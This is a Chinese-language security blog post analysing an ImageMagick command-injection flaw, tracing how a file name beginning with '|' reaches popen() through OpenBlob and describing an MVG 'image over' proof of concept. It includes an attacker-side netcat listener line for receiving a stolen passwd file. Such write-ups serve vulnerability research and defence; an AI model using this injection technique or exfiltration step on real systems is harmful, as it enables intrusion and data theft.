##心情杂谈
哎哎哎,老司机一言不合就爆洞啊,这个洞在之前分析CVE-2016-3714的时候也发现了,结果被捂烂了…心塞塞~那我就写一下当时是怎么发现怎么这个洞…
##漏洞分析正文
之前在分析CVE-2016-3714的时候想,system()
函数处理有问题,那么其他类似的有哪些函数呢?
下面是一个可以执行命令的函数列表:
那么搜索一下调用system()
函数有哪些地方?经过搜索的话,最终只有CVE-2016-3714这个漏洞点调用到了一个system()
. 那这么接下来搜索一下popen()
函数调用点
文件:magick/blob.c:2503行
我们可以看到有一个popen_utf8()
函数.
跟进函数文件:magick/utility-private.h:173行
可以看见popen_utf8()
直接return了popen()
函数的值回来.
那么问题来了,谁调用了popen_utf8
呢?
向上追溯代码可以看到是OpenBlob()
函数调用了popen_utf8
.继续查看谁调用了OpenBlob()
我们可以看到一堆地方调用到了OpenBlob()
,看到一个眼熟的地方!
使用GDB反调会让眼熟的地方明显一点
可以看到流程中有constitute.c
调用到OpenBlob()
.而之前分析的时候也经常看constitute.c
,很明显会选择先看这个地方的调用有没有问题.
在constitute.c:448行
可以看到status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
status在imagemagick里面一般都是用MagickTrue或者MagickFalse作为最终的函数返回值的,知道这点就好了.
OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
在这个函数中image_info,image
两个参数的值都是由我们传进去的.
OpenBlob函数先进行了Policy
的检测
最重要的一段在如下代码
因为*filename
指向指针的第一个字符,如果第一个字符是|
那么就调用popen_utf8()
去打开文件.
所以我们要控制的就是|
后面的字符.如果我们想要控制这里的filename
就意味着我们需要传入的文件的名称|
+你要执行的命令
经过测试这个是可以的,这个地方可以命令执行,但是万一要是上传的文件名字有限制|
这个符号不让作为文件名的名字的话,那就挺别扭的.而且windows
底下应该是不能用|
作为文件的名字的,所以还是把payload写在文件里面比较好.
通过对imagemagick源码的浏览,并且查询imagemagick的官方文档.
官方文档
可以发现mvg有很多需要操作文件mvg内文件的原语,这些地方都是会调用到OpenBlob()
例如以下操作:
Poc使用image over
这个原语.
那么Poc就出来了
1.mvg
文件中
然后attack的服务器运行nc -l 0.0.0.0 9999 > passwd
这个漏洞有兴趣的同学可以去再找一下其它玩法…
【原文:Imagetragick 1 Day 作者:lonelyrain 安全脉搏整理发布】
本文作者:SP小编
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/45962.html